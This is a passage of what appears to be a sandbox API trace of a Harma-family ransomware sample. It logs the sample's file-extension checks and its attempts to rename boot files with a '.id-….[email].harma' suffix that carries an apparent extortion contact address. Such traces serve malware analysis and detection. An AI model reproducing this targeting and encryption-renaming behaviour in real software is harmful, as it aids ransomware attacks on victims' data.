(lpString1=".doc", lpString2=".CFG") returned 1 [0174.246] lstrlenW (lpString=".docx") returned 5 [0174.246] lstrcmpiW (lpString1=".docx", lpString2="T.CFG") returned -1 [0174.246] lstrlenW (lpString=".pdf") returned 4 [0174.246] lstrcmpiW (lpString1=".pdf", lpString2=".CFG") returned 1 [0174.246] lstrlenW (lpString=".xls") returned 4 [0174.246] lstrcmpiW (lpString1=".xls", lpString2=".CFG") returned 1 [0174.246] lstrlenW (lpString=".xlsx") returned 5 [0174.246] lstrcmpiW (lpString1=".xlsx", lpString2="T.CFG") returned -1 [0174.246] lstrlenW (lpString=".ppt") returned 4 [0174.246] lstrcmpiW (lpString1=".ppt", lpString2=".CFG") returned 1 [0174.246] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONTACT.CFG") returned 65 [0174.246] lstrlenW (lpString=".zip") returned 4 [0174.246] lstrcmpiW (lpString1=".zip", lpString2=".CFG") returned 1 [0174.246] lstrlenW (lpString=".rar") returned 4 [0174.246] lstrcmpiW (lpString1=".rar", lpString2=".CFG") returned 1 [0174.246] lstrlenW (lpString=".bz2") returned 4 [0174.246] lstrcmpiW (lpString1=".bz2", lpString2=".CFG") returned -1 [0174.246] lstrlenW (lpString=".7z") returned 3 [0174.246] lstrcmpiW (lpString1=".7z", lpString2="CFG") returned -1 [0174.246] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONTACT.CFG") returned 65 [0174.246] lstrlenW (lpString=".dbf") returned 4 [0174.246] lstrcmpiW (lpString1=".dbf", lpString2=".CFG") returned 1 [0174.246] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONTACT.CFG") returned 65 [0174.246] lstrlenW (lpString=".1cd") returned 4 [0174.246] lstrcmpiW (lpString1=".1cd", lpString2=".CFG") returned -1 [0174.246] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONTACT.CFG") returned 65 [0174.246] lstrlenW (lpString=".jpg") returned 4 [0174.246] lstrcmpiW (lpString1=".jpg", lpString2=".CFG") returned 1 [0174.247] lstrlenW (lpString=".id-") returned 4 [0174.247] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x351530 | out: hHeap=0x300000) returned 1 [0174.247] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3bef78 | out: hHeap=0x300000) returned 1 [0174.247] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a804a8 | out: hHeap=0x300000) returned 1 [0174.247] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a904b0 | out: hHeap=0x300000) returned 1 [0174.247] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e30020 | out: hHeap=0x300000) returned 1 [0174.252] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x351518 | out: hHeap=0x300000) returned 1 [0174.253] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x10) returned 0x351518 [0174.253] RtlReAllocateHeap (Heap=0x300000, Flags=0x0, Ptr=0x351518, Size=0x20) returned 0x41d2290 [0174.253] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x10) returned 0x351518 [0174.253] RtlReAllocateHeap (Heap=0x300000, Flags=0x0, Ptr=0x351518, Size=0x20) returned 0x41d21c8 [0174.253] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76e10000 [0174.253] GetProcAddress (hModule=0x76e10000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76e3d650 [0174.253] Wow64DisableWow64FsRedirection (in: OldValue=0x33bff58 | out: OldValue=0x33bff58*=0x1) returned 1 [0174.253] lstrlenW (lpString="kernel32.dll") returned 12 [0174.253] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x41d21c8 | out: hHeap=0x300000) returned 1 [0174.253] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0174.253] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x41d2290 | out: hHeap=0x300000) returned 1 Thread: id = 60 os_tid = 0x6f0 [0132.325] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x10000) returned 0x3aa04b8 [0132.325] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x10000) returned 0x3ab04c0 [0132.326] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x10) returned 0x351548 [0132.326] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6) returned 0x3bef88 [0132.326] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x10) returned 0x351560 [0132.326] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x100000) returned 0x3f40020 [0132.326] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x10) returned 0x351578 [0132.326] RtlReAllocateHeap (Heap=0x300000, Flags=0x0, Ptr=0x351578, Size=0x20) returned 0x3c0db0 [0132.326] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x10) returned 0x351578 [0132.326] RtlReAllocateHeap (Heap=0x300000, Flags=0x0, Ptr=0x351578, Size=0x20) returned 0x3c0d88 [0132.326] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76e10000 [0132.326] GetProcAddress (hModule=0x76e10000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76e3d650 [0132.326] Wow64DisableWow64FsRedirection (in: OldValue=0x34fff58 | out: OldValue=0x34fff58*=0x0) returned 1 [0132.326] lstrlenW (lpString="kernel32.dll") returned 12 [0132.326] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3c0db0 | out: hHeap=0x300000) returned 1 [0132.326] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0132.326] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3c0d88 | out: hHeap=0x300000) returned 1 [0132.327] Sleep (dwMilliseconds=0x64) [0132.624] lstrcmpiW (lpString1=".ttf", lpString2=".harma") returned 1 [0132.624] lstrlenW (lpString="kor_boot.ttf") returned 12 [0132.624] CreateFileW (lpFileName="C:\\Boot\\Fonts\\kor_boot.ttf" (normalized: "c:\\boot\\fonts\\kor_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0132.714] GetFileSizeEx (in: hFile=0x220, lpFileSize=0x34fff1c | out: lpFileSize=0x34fff1c*=2371360) returned 1 [0132.714] CloseHandle (hObject=0x220) returned 1 [0132.714] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\kor_boot.ttf" (normalized: "c:\\boot\\fonts\\kor_boot.ttf")) returned 0x20 [0132.714] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\kor_boot.ttf.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\boot\\fonts\\kor_boot.ttf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0132.714] MoveFileW (lpExistingFileName="C:\\Boot\\Fonts\\kor_boot.ttf" (normalized: "c:\\boot\\fonts\\kor_boot.ttf"), lpNewFileName="C:\\Boot\\Fonts\\kor_boot.ttf.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\boot\\fonts\\kor_boot.ttf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0 [0132.714] lstrlenW (lpString="C:\\Boot\\Fonts\\kor_boot.ttf") returned 26 [0132.714] lstrlenW (lpString="C:\\Boot\\Fonts\\kor_boot.ttf") returned 26 [0132.714] lstrlenW (lpString=".doc") returned 4 [0132.714] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0132.714] lstrlenW (lpString=".docx") returned 5 [0132.714] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1 [0132.714] lstrlenW (lpString=".pdf") returned 4 [0132.714] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0132.714] lstrlenW (lpString=".xls") returned 4 [0132.714] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0132.715] lstrlenW (lpString=".xlsx") returned 5 [0132.715] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1 [0132.715] lstrlenW (lpString=".ppt") returned 4 [0132.715] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0132.715] lstrlenW (lpString="C:\\Boot\\Fonts\\kor_boot.ttf") returned 26 [0132.715] lstrlenW (lpString=".zip") returned 4 [0132.715] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0132.715] lstrlenW (lpString=".rar") returned 4 [0132.715] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0132.715] lstrlenW (lpString=".bz2") returned 4 [0132.715] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0132.715] lstrlenW (lpString=".7z") returned 3 [0132.715] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0132.715] lstrlenW (lpString="C:\\Boot\\Fonts\\kor_boot.ttf") returned 26 [0132.715] lstrlenW (lpString=".dbf") returned 4 [0132.715] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0132.715] lstrlenW (lpString="C:\\Boot\\Fonts\\kor_boot.ttf") returned 26 [0132.715] lstrlenW (lpString=".1cd") returned 4 [0132.715] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0132.715] lstrlenW (lpString="C:\\Boot\\Fonts\\kor_boot.ttf") returned 26 [0132.715] lstrlenW (lpString=".jpg") returned 4 [0132.715] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0132.715] lstrlenW (lpString="C:\\Boot\\Fonts\\kor_boot.ttf") returned 26 [0132.715] lstrlenW (lpString="C:\\Boot\\Fonts\\kor_boot.ttf") returned 26 [0132.715] lstrlenW (lpString=".doc") returned 4 [0132.715] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0132.715] lstrlenW (lpString=".docx") returned 5 [0132.715] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1 [0132.715] lstrlenW (lpString=".pdf") returned 4 [0132.715] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0132.715] lstrlenW (lpString=".xls") returned 4 [0132.715] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0132.716] lstrlenW (lpString=".xlsx") returned 5 [0132.716] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1 [0132.716] lstrlenW (lpString=".ppt") returned 4 [0132.716] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0132.716] lstrlenW (lpString="C:\\Boot\\Fonts\\kor_boot.ttf") returned 26 [0132.716] lstrlenW (lpString=".zip") returned 4 [0132.716] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0132.716] lstrlenW (lpString=".rar") returned 4 [0132.716] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0132.716] lstrlenW (lpString=".bz2") returned 4 [0132.716] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0132.716] lstrlenW (lpString=".7z") returned 3 [0132.716] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0132.716] lstrlenW (lpString="C:\\Boot\\Fonts\\kor_boot.ttf") returned 26 [0132.716] lstrlenW (lpString=".dbf") returned 4 [0132.716] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0132.716] lstrlenW (lpString="C:\\Boot\\Fonts\\kor_boot.ttf") returned 26 [0132.716] lstrlenW (lpString=".1cd") returned 4 [0132.716] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0132.716] lstrlenW (lpString="C:\\Boot\\Fonts\\kor_boot.ttf") returned 26 [0132.716] lstrlenW (lpString=".jpg") returned 4 [0132.716] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0132.716] lstrcmpiW (lpString1=".mui", lpString2=".harma") returned 1 [0132.716] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0132.716] CreateFileW (lpFileName="C:\\Boot\\fr-FR\\bootmgr.exe.mui" (normalized: "c:\\boot\\fr-fr\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0132.717] GetFileSizeEx (in: hFile=0x220, lpFileSize=0x34fff1c | out: lpFileSize=0x34fff1c*=93248) returned 1 [0132.717] CloseHandle (hObject=0x220) returned 1 [0132.717] GetFileAttributesW (lpFileName="C:\\Boot\\fr-FR\\bootmgr.exe.mui" (normalized: "c:\\boot\\fr-fr\\bootmgr.exe.mui")) returned 0x20 [0132.717] GetFileAttributesW (lpFileName="C:\\Boot\\fr-FR\\bootmgr.exe.mui.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\boot\\fr-fr\\bootmgr.exe.mui.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0132.717] CreateFileW (lpFileName="C:\\Boot\\fr-FR\\bootmgr.exe.mui" (normalized: "c:\\boot\\fr-fr\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0132.717] lstrlenW (lpString="C:\\Boot\\fr-FR\\bootmgr.exe.mui") returned 29 [0132.717] lstrlenW (lpString="C:\\Boot\\fr-FR\\bootmgr.exe.mui") returned 29 [0132.717] lstrlenW (lpString=".doc") returned 4 [0132.717] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0132.717] lstrlenW (lpString=".docx") returned 5 [0132.717] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0132.717] lstrlenW (lpString=".pdf") returned 4 [0132.717] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0132.717] lstrlenW (lpString=".xls") returned 4 [0132.717] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0132.717] lstrlenW (lpString=".xlsx") returned 5 [0132.717] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0132.717] lstrlenW (lpString=".ppt") returned 4 [0132.717] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0132.718] lstrlenW (lpString="C:\\Boot\\fr-FR\\bootmgr.exe.mui") returned 29 [0132.718] lstrlenW (lpString=".zip") returned 4 [0132.718] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0132.718] lstrlenW (lpString=".rar") returned 4 [0132.718] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0132.718] lstrlenW (lpString=".bz2") returned 4 [0132.718] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0132.718] lstrlenW (lpString=".7z") returned 3 [0132.718] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0132.718] lstrlenW (lpString="C:\\Boot\\fr-FR\\bootmgr.exe.mui") returned 29 [0132.718] lstrlenW (lpString=".dbf") returned 4 [0132.718] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0132.718] lstrlenW (lpString="C:\\Boot\\fr-FR\\bootmgr.exe.mui") returned 29 [0132.718] lstrlenW (lpString=".1cd") returned 4 [0132.718] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0132.718] lstrlenW (lpString="C:\\Boot\\fr-FR\\bootmgr.exe.mui") returned 29 [0132.718] lstrlenW (lpString=".jpg") returned 4 [0132.718] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0132.718] lstrlenW (lpString="C:\\Boot\\fr-FR\\bootmgr.exe.mui") returned 29 [0132.718] lstrlenW (lpString="C:\\Boot\\fr-FR\\bootmgr.exe.mui") returned 29 [0132.718] lstrlenW (lpString=".doc") returned 4 [0132.718] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0132.718] lstrlenW (lpString=".docx") returned 5 [0132.718] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0132.718] lstrlenW (lpString=".pdf") returned 4 [0132.718] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0132.718] lstrlenW (lpString=".xls") returned 4 [0132.718] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0132.718] lstrlenW (lpString=".xlsx") returned 5 [0132.718] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0132.719] lstrlenW (lpString=".ppt") returned 4 [0132.719] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0132.719] lstrlenW (lpString="C:\\Boot\\fr-FR\\bootmgr.exe.mui") returned 29 [0132.719] lstrlenW (lpString=".zip") returned 4 [0132.719] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0132.719] lstrlenW (lpString=".rar") returned 4 [0132.719] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0132.719] lstrlenW (lpString=".bz2") returned 4 [0132.719] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0132.719] lstrlenW (lpString=".7z") returned 3 [0132.719] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0132.719] lstrlenW (lpString="C:\\Boot\\fr-FR\\bootmgr.exe.mui") returned 29 [0132.719] lstrlenW (lpString=".dbf") returned 4 [0132.719] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0132.719] lstrlenW (lpString="C:\\Boot\\fr-FR\\bootmgr.exe.mui") returned 29 [0132.719] lstrlenW (lpString=".1cd") returned 4 [0132.719] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0132.719] lstrlenW (lpString="C:\\Boot\\fr-FR\\bootmgr.exe.mui") returned 29 [0132.719] lstrlenW (lpString=".jpg") returned 4 [0132.719] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0132.719] lstrcmpiW (lpString1=".mui", lpString2=".harma") returned 1 [0132.719] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0132.719] CreateFileW (lpFileName="C:\\Boot\\hu-HU\\bootmgr.exe.mui" (normalized: "c:\\boot\\hu-hu\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0132.720] GetFileSizeEx (in: hFile=0x220, lpFileSize=0x34fff1c | out: lpFileSize=0x34fff1c*=90688) returned 1 [0132.720] CloseHandle (hObject=0x220) returned 1 [0132.720] GetFileAttributesW (lpFileName="C:\\Boot\\hu-HU\\bootmgr.exe.mui" (normalized: "c:\\boot\\hu-hu\\bootmgr.exe.mui")) returned 0x20 [0132.720] GetFileAttributesW (lpFileName="C:\\Boot\\hu-HU\\bootmgr.exe.mui.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\boot\\hu-hu\\bootmgr.exe.mui.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0132.720] CreateFileW (lpFileName="C:\\Boot\\hu-HU\\bootmgr.exe.mui" (normalized: "c:\\boot\\hu-hu\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0132.720] lstrlenW (lpString="C:\\Boot\\hu-HU\\bootmgr.exe.mui") returned 29 [0132.720] lstrlenW (lpString="C:\\Boot\\hu-HU\\bootmgr.exe.mui") returned 29 [0132.720] lstrlenW (lpString=".doc") returned 4 [0132.720] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0132.720] lstrlenW (lpString=".docx") returned 5 [0132.720] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0132.720] lstrlenW (lpString=".pdf") returned 4 [0132.720] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0132.720] lstrlenW (lpString=".xls") returned 4 [0132.720] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0132.720] lstrlenW (lpString=".xlsx") returned 5 [0132.720] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0132.720] lstrlenW (lpString=".ppt") returned 4 [0132.720] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0132.720] lstrlenW (lpString="C:\\Boot\\hu-HU\\bootmgr.exe.mui") returned 29 [0132.720] lstrlenW (lpString=".zip") returned 4 [0132.721] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0132.721] lstrlenW (lpString=".rar") returned 4 [0132.721] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0132.721] lstrlenW (lpString=".bz2") returned 4 [0132.721] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0132.721] lstrlenW (lpString=".7z") returned 3 [0132.721] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0132.721] lstrlenW (lpString="C:\\Boot\\hu-HU\\bootmgr.exe.mui") returned 29 [0132.721] lstrlenW (lpString=".dbf") returned 4 [0132.721] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0132.721] lstrlenW (lpString="C:\\Boot\\hu-HU\\bootmgr.exe.mui") returned 29 [0132.721] lstrlenW (lpString=".1cd") returned 4 [0132.721] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0132.721] lstrlenW (lpString="C:\\Boot\\hu-HU\\bootmgr.exe.mui") returned 29 [0132.721] lstrlenW (lpString=".jpg") returned 4 [0132.721] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0132.721] lstrlenW (lpString="C:\\Boot\\hu-HU\\bootmgr.exe.mui") returned 29 [0132.721] lstrlenW (lpString="C:\\Boot\\hu-HU\\bootmgr.exe.mui") returned 29 [0132.722] lstrlenW (lpString=".doc") returned 4 [0132.722] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0132.722] lstrlenW (lpString=".docx") returned 5 [0132.722] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0132.722] lstrlenW (lpString=".pdf") returned 4 [0132.722] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0132.722] lstrlenW (lpString=".xls") returned 4 [0132.722] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0132.722] lstrlenW (lpString=".xlsx") returned 5 [0132.722] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0132.722] lstrlenW (lpString=".ppt") returned 4 [0132.722] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0132.722] lstrlenW (lpString="C:\\Boot\\hu-HU\\bootmgr.exe.mui") returned 29 [0132.722] lstrlenW (lpString=".zip") returned 4 [0132.722] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0132.722] lstrlenW (lpString=".rar") returned 4 [0132.722] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0132.722] lstrlenW (lpString=".bz2") returned 4 [0132.722] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0132.722] lstrlenW (lpString=".7z") returned 3 [0132.722] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0132.722] lstrlenW (lpString="C:\\Boot\\hu-HU\\bootmgr.exe.mui") returned 29 [0132.722] lstrlenW (lpString=".dbf") returned 4 [0132.722] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0132.722] lstrlenW (lpString="C:\\Boot\\hu-HU\\bootmgr.exe.mui") returned 29 [0132.722] lstrlenW (lpString=".1cd") returned 4 [0132.722] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0132.722] lstrlenW (lpString="C:\\Boot\\hu-HU\\bootmgr.exe.mui") returned 29 [0132.722] lstrlenW (lpString=".jpg") returned 4 [0132.722] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0132.723] lstrcmpiW (lpString1=".mui", lpString2=".harma") returned 1 [0132.723] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0132.723] CreateFileW (lpFileName="C:\\Boot\\it-IT\\bootmgr.exe.mui" (normalized: "c:\\boot\\it-it\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0132.723] GetFileSizeEx (in: hFile=0x220, lpFileSize=0x34fff1c | out: lpFileSize=0x34fff1c*=90704) returned 1 [0132.723] CloseHandle (hObject=0x220) returned 1 [0132.723] GetFileAttributesW (lpFileName="C:\\Boot\\it-IT\\bootmgr.exe.mui" (normalized: "c:\\boot\\it-it\\bootmgr.exe.mui")) returned 0x20 [0132.723] GetFileAttributesW (lpFileName="C:\\Boot\\it-IT\\bootmgr.exe.mui.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\boot\\it-it\\bootmgr.exe.mui.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0132.723] CreateFileW (lpFileName="C:\\Boot\\it-IT\\bootmgr.exe.mui" (normalized: "c:\\boot\\it-it\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0132.723] lstrlenW (lpString="C:\\Boot\\it-IT\\bootmgr.exe.mui") returned 29 [0132.723] lstrlenW (lpString="C:\\Boot\\it-IT\\bootmgr.exe.mui") returned 29 [0132.723] lstrlenW (lpString=".doc") returned 4 [0132.723] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0132.723] lstrlenW (lpString=".docx") returned 5 [0132.723] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0132.723] lstrlenW (lpString=".pdf") returned 4 [0132.724] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0132.724] lstrlenW (lpString=".xls") returned 4 [0132.724] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0132.724] lstrlenW (lpString=".xlsx") returned 5 [0132.724] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0132.724] lstrlenW (lpString=".ppt") returned 4 [0132.724] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0132.724] lstrlenW (lpString="C:\\Boot\\it-IT\\bootmgr.exe.mui") returned 29 [0132.724] lstrlenW (lpString=".zip") returned 4 [0132.724] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0132.724] lstrlenW (lpString=".rar") returned 4 [0132.724] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0132.724] lstrlenW (lpString=".bz2") returned 4 [0132.724] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0132.724] lstrlenW (lpString=".7z") returned 3 [0132.724] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0132.724] lstrlenW (lpString="C:\\Boot\\it-IT\\bootmgr.exe.mui") returned 29 [0132.724] lstrlenW (lpString=".dbf") returned 4 [0132.724] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0132.724] lstrlenW (lpString="C:\\Boot\\it-IT\\bootmgr.exe.mui") returned 29 [0132.724] lstrlenW (lpString=".1cd") returned 4 [0132.724] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0132.724] lstrlenW (lpString="C:\\Boot\\it-IT\\bootmgr.exe.mui") returned 29 [0132.724] lstrlenW (lpString=".jpg") returned 4 [0132.724] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0132.724] lstrlenW (lpString="C:\\Boot\\it-IT\\bootmgr.exe.mui") returned 29 [0132.724] lstrlenW (lpString="C:\\Boot\\it-IT\\bootmgr.exe.mui") returned 29 [0132.724] lstrlenW (lpString=".doc") returned 4 [0132.724] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0132.724] lstrlenW (lpString=".docx") returned 5 [0132.725] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0132.725] lstrlenW (lpString=".pdf") returned 4 [0132.725] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0132.725] lstrlenW (lpString=".xls") returned 4 [0132.725] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0132.725] lstrlenW (lpString=".xlsx") returned 5 [0132.725] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0132.725] lstrlenW (lpString=".ppt") returned 4 [0132.725] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0132.725] lstrlenW (lpString="C:\\Boot\\it-IT\\bootmgr.exe.mui") returned 29 [0132.725] lstrlenW (lpString=".zip") returned 4 [0132.725] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0132.725] lstrlenW (lpString=".rar") returned 4 [0132.725] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0132.725] lstrlenW (lpString=".bz2") returned 4 [0132.725] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0132.725] lstrlenW (lpString=".7z") returned 3 [0132.725] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0132.725] lstrlenW (lpString="C:\\Boot\\it-IT\\bootmgr.exe.mui") returned 29 [0132.725] lstrlenW (lpString=".dbf") returned 4 [0132.725] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0132.725] lstrlenW (lpString="C:\\Boot\\it-IT\\bootmgr.exe.mui") 